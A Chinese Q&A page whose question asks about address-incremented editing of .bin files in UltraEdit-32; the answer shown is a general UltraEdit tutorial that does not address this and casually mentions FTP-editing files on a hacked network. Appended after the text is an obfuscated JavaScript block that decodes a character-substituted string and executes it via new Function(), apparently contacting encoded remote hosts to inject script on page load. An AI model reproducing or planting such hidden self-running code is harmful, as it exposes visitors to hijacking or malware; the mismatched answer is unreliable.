用UltraEdit-32 修改bin文件如何实现地址增量修改。

2025-02-21 11:23:17
推荐回答(1个)
回答1:

UltraEdit的用途

用做普通文本文件编辑器(.txt .bat .conf .ini等)
用做.doc文件编辑器(不过,不是msword的文档,其实也是文本文件,我不知道为什么叫doc)
用做c, c++, java, jsp, html, xml等的源代码编辑器
(以上文件可以是本地的,也可以是通过FTP方式操作远程的文件)

对文本文件进行按行排序,排序的方式是可以定义的。

对16进制的文件直接修改字节指定直接的内容

对文件全体内容或选定内容进行整体的操作,比如转换格式、内容等
对文件的字符、词数量进行统计

对一个文本文件或源代码文件组成的项目进行操作

介绍
----------------------------------------------
通过上面的列表,你基本上能知道UltraEdit是干什么用的:小巧且功能全面、灵活好用的文本编辑器,尤其适合于源代码的编写。

对于文本文件的编辑,当然是没什么好说的了。我这篇文章就是用UltraEdit写的纯文本的文件。自己去用两下就知道了。不过,就算作为文本编辑器来讲,它也比Windows 的 NotePad强的多,不过比器Unix的vi来,当然就差劲了点。如果说和vi相比,恐怕最大的优势就是图形操作环境,不需要记无数的繁杂命令了。

语法着色问题:
**********************
作为源代码编辑器,那就不一样了,和vi简直有一拼。最值得称道的是,它可以对各种源代码进行语法着色,使你清晰分辨代码中的各种成分。记得在ChinaJavaWorld中,曾经有一个哥们说:JAVA初学者最好不要使用强大的IDE,只要使用能进行语法着色的文本编辑器就可以了。如果真是这样,恐怕UltraEdit真是最好不过的东东了(我不知道这个哥们说得对不对哦)。UltraEdit32在默认的状态下,可以对JAVA, PERL,HTML,XML, C#,C/C++,visual basic 等进行很好的语法着色,这对于喜欢直接写代码的弟兄们来说,真是已经很不错了(有的人不喜欢用FRONTPAGE 或者 DREAMWAVER这样的“所见即所得”的东东来开发)。更好玩的是,如果你不喜欢它的着色方式,你可以去修改它,而且还可以增加它不认识的语言,比如你发明了一种新的语言,你可以告诉UltraEdit怎样对它进行着色。(请参照菜单Advanced--configuration--Syntax Highlighting)

如果你用UltraEdit来写java程序,它可以对JAVA的关键词进行识别,可以着色JAVA核心类中的部分类名,可以区分变量和字符串等。这就很不错了,你不要企图让它为你进行代码补全,小小一个编辑器你还能真把它当JBUILDER那样的IDE来用吗?

如果你用它来开发HTML、JSP、ASP等,那也很爽啊。它不仅可以区分其中的scriptlet(小脚本)和HTML代码,对他们进行很好的着色,而且提供了几乎全部的HTML TAG和特殊字符,当你忘记的时候,很轻松就能查到。它对HTML的着色,可以做到对TAG、PROPERTY 和 VALUE 进行不同的着色。是不是很棒啊?

配置工具:
************************
说实在话,UltraEdit真的不是IDE,但是你可以把它做得漂漂亮亮,把一个IDE的常用功能给集成起来,比如编译、运行。
比如,你可以配置上javac java 两个命令,不需要到DOS状态下,就可以在这里编译和运行你正在编辑的JAVA类,而且能把编译的错误消息和运行的结果捕获到一个新的文件或者output窗口中。对于c/c++当然也可以这么做了。这不错吧?作为一个JAVA的初学者你还能奢望什么呢?即使作为一个有经验的程序员,你还需要庞大的IDE吗?(如果你要做图形应用程序,建议你还是用IDE吧,UltraEdit可没办法)

齐备的编辑功能:
*************************
说到各种编辑功能,就算JBUILDER, WEBSHPERE这样优秀的IDE也比不上UltraEdit, 要想知道UltraEdit在这方面的能力,你去看看vi的说明书吧,vi的确是很强大,UltraEdit也包含了其中很多的功能。比如基本的功能有:查找、替换、在文件中搜索并替换等,还有vi中e!的功能(当你发现你编辑错了的时候,你可以把你上次保存的内容重新读进来),可以进行16进制编辑,定义书签,直接滚动到某一行,设置或关闭只读,括号匹配,查看文件信息,消除空格,自动缩行,大小写转换,文件格式转换(UNIX 转成DOS等)。据说它的查找功能,还能象vi一样使用正则表达式哦,厉害!

它还有很多方便的小工具,比如你在写HTML的时候,可能想使用某种颜色,但不知道它的RGB是多少,可以用Edit --- insert color; 你想插入当前时间,查找ASCII 码,进行拼写检查,行排序,把内容EMAIL给别人,文件比较,行选模式,区域选择等,哎呀,累死我了,功能太多,不说这个了。下面说说各种功能的使用。

特色功能介绍
--------------------------------------------------------------------------------
UltraEdit详细的介绍一时半会说不完,其实也没有完全介绍的必要,因为无论对于新程序员老程序员,对计算机的操作应该是比较熟悉的。怎么删除?怎么保存?怎么打开?怎么剪贴、拷贝、粘贴?以及怎么查找?这太常识了,我简直象是在说废话。下面说几个UltraEdit特有的,或者比较好用的功能,供大家借鉴,有问题请直接找我,大家研究一下。

程序语法着色:
*********************************************
为了让你看到着色的效果,你先用UltraEdit建立一个新文件,并另存为.java文件,然后输入一段简单的代码,如:
import java.util.*;
import java.lang.*;

/**java test class*/
public class RenderEdit {
String field = "UltraEdit Test";

public RenderEdit(){}

public void static main(String[] args)
{
//just test
System.out.println(this.field);
}
}
(你把这段代码拷过去用用吧。)

打开菜单Advanced --- configuaration -- Syntax Highlighting
在Language下拉框里,你能看到现在默认的着色方案。你在刚才的例子文件里,就已经看到了效果。如果你还算满意也就算了,否则呢,请在这个对话框里修改对每个条目的着色方式。

另外,你在这里能看到"auto correct keywords"这个功能。就是说,如果你的关键词敲错了,它可以自动帮你纠正一部分,比如fi 改成 if, system 自动写成 System, 你觉得这个功能怎么样?不错吧。的确。但是也有遇到麻烦的时候,比如你有这样的句子: Class ca = new field.getClass(); 它就把Class给写成class, 这当然是你不希望的。再如:java.sql.Connection connection = null; 它也会把小写的connection给替换成Connection(类名),这也不符合要求。这对于喜欢使用词的全称做对象实例名的弟兄们不是好事,尤其初学者,程序编译错误了,你都查不出来为什么,建议你把这个功能关掉。

同样的,如果你实在不喜欢用语法着色的功能,也可以在这里把他们全部关掉,这样对于什么源代码都不着色了(你神经病吗?)

在这里你还可以看到一个叫wordfile.txt的文件,你可以去修改这个文件,这样,UltraEdit能认识的词就更多了。

关于着色就说这些,这只是个例子。你可以在Advanced -- configuration 里找到各种设置功能,简单列这这里:
general 页 :
是否显示行号
一个文件是否可以同时打开多个实例

edit 页:
设置自动缩进 ,并且允许用空格或是TAB来缩进,缩进多少也由你指定
对所操作的文件的默认扩展名的设置

backup 页:
对更新时的自动备份的设置

File Type 和 File Asosiation 页:
这两页让你定义一些可以默认打开的文件,他们将出现在“打开”对话框的过滤器下拉框里,这样就方便对了。比如你可以把jsp,
asp等你平时工作的文件都加进来。

其他的不说了,你自己看比我说要明白得多。

配置编译器和运行指令:
*****************************************************************
我平时java程序都是在这里编译的,所以就配置了三个工具,你可以配置上别的,象C的编译器。
我配置的三个是:javac , java(对于不需要输入参数就直接运行的那种) , java对于需要参数才能运行的那种)

方法: 在Advanced -- Tool configuration 菜单的对话框里

1,配置javac
在command line里输入:c:\jdk1.3\bin\javac %f
注意:这里的javac路径你要按你自己的来指定;%f是指当前活动文档的全文件名,即“文件名.扩展名",因为java程序在编译时必须带上扩展名。如果你用了%F(大写)是不对的,它只表示文件名而不带扩展名(对于java运行命令是这样的)。
在Menu Item Name 里输入javac ,它出现在菜单里,这样你就知道它是用来编译的。
然后选择output to list box 和 capture output ,这样当编译错误的时候你就可以在源代码的下面的output窗口里看到错误信息了。

2,配置不带参数的java运行命令
在command line里输入:java %n, 或者java %F, 这两个有时候不一样,看你的环境怎么配置了,我是使用的前一个。
在Menu Item Name 里输入: java -no parameter
并且选择output to list box 和 capture output ,这样当运行的时候,运行结果显示在output窗口里。

3,配置带参数的java运行命令
在command line里输入:java %n%modified%
在Menu Item Name 里输入: java -parameter,这样当你运行的时候,它会有一个对话框要求你输入参数

好了,这就可以用了。如果你想知道更多的配置方法,去看看帮助文件里:Advanced -- Tool Configuration吧。看不懂就来问我。注意,不是来吻我。

FTP方式工作:
*********************************************************
多数时候你都是自己的机器上写代码,源文件也存在自己的机器上。而有时候,比如你在某个公司的网络上工作,或者你黑了别人的网络,能用FTP访问别人的电脑了,或许可以考虑直接FTP到服务器上,修改那里的文件,然后再直接保存回去。

看看File菜单,那里有个FTP子菜单,然后输入用户名和密码就可以打开那里的文件了。这对于编写JSP和ASP、HTML等比较常用。尤其是JSP,你自己的机器上没有JSP的容器,你编辑的文件要在那个服务器上才能使用,那么就用FTP方式来工作吧。编辑完成后再用FTP方式存回去。OK了。

其他:
**********************************************************
其他的功能还有很多,而且都非常容易从菜单里找到,我在这里就不一个一个说了。我在前面的“介绍”部分里都提到过,相信你没问题的。

======================================================================
我从第一次真正写java程序开始,就一直使用UltrEdit,只有在写图形程序的时候才换用Forte for java,一直到现在我都是用它。它对于我了解JAVA真是起了不小的作用。以上所写内容都是我在实践中发现的,当然有很多是高手们告诉我的,拿出来给大家分享。
写了这么些,我发现写文章还真是不容易啊,象我这样语言乏味的臭程序员,实在也写不出什么好文章。就一个UltraEdit就费了这么半天劲,仍然觉得写的不够,对不起大家。我想接下来多写点关于IDE的说明,我要写的是Forte for java 3.0 CE,请大家多给我点鼓励,我怕自己受不了苦,撑不下去就放弃了。如果谁有好的建议,请一定要告诉我,让我也轻松一下。
当我和同事提起来要写文章放到BBS里的时候,他们笑了:放着程序员不做,你想学人家考状元啊?省省吧你,还是回去继续做你的程序员这个很有“钱途”的职业去吧!哈哈,是吗?我明白了,我一定会继续努力的。不过我还是想写出来,因为这本来就是应该是属于大家的。所以呢,我的精神全靠大家的支撑了,希望至少有一个哥们能觉得自己又学了一招。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();